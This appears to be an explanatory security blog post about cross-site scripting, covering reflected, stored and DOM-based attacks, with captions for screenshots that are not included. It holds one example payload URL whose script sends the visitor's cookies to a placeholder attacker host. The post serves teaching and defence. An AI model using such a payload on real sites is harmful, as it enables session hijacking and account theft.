Understanding cross site scripting (XSS) attacks
Over the last decade websites have evolved from mostly static platforms to dynamic models — fueling the implementation of Web applications that rely on databases, such as WordPress® and Joomla!®. These Web apps bring users new functionality and a more robust experience. They also usher in potential negative issues for website administrators and Web surfers. Case in point: cross site scripting (XSS).
XSS is an attack that exploits the browser’s trust in the user.
XSS flaws occur whenever an application takes untrusted data and sends it to a Web browser without proper validation and escaping. Typically, this attack aims to steal login credentials or other personal information. For example, the threat actor might be able to exploit a Web application’s unsanitized user input or HTTP requests.
A threat actor might use any of three types of XSS attacks to exploit a website.
Non-persistent or reflected attack
A non-persistent attack requires direct interaction by the user visiting the site. An attacker might send a malicious version of the URL or exploit a form on the vulnerable website. This type of attack might be sent to a victim with the intention of stealing their session cookies and ultimately their account.
http://domain.tld/?sess=12312312&user=<script>// <![CDATA[ document.location='http://attackersite.tld/cgi-bin/steal.cgi?'+document.cookie // ]]></script>
Information that could be sent to the attacker:
Persistent (or stored) attack
The bad guys often deploy persistent XSS by deploying or exploiting an application or plugin that stores user input in a database. This attack often stores the malicious injection in the website’s database and triggers automatically whenever someone visits that page. This attack doesn’t require the user to click on any malicious links and can be much harder to detect while Web browsing.
This exploit might be used to hijack the user’s session, which would allow the attacker to modify the site. Below are screenshots of this vulnerability successfully exploited.
Note: WordPress and the Bit51 Better WP Security Plugin have since been updated to guard against this issue.
Threat actor requests page:
Injection using proxy:
Alert when admin clicks on Logs tab:
Stored XSS in the Database:
DOM (Document Object Model) attack
A DOM attack is unique and hard to detect because it occurs client-side, whereas stored and reflected XSS exploit a server side flaw.
Malicious URL sent by attacker:
View of the DOM using Firebug:
Fortunately, there are ways to protect your site(s) from XSS attacks. We’ll cover these techniques in an upcoming post. Stay tuned to stay safe!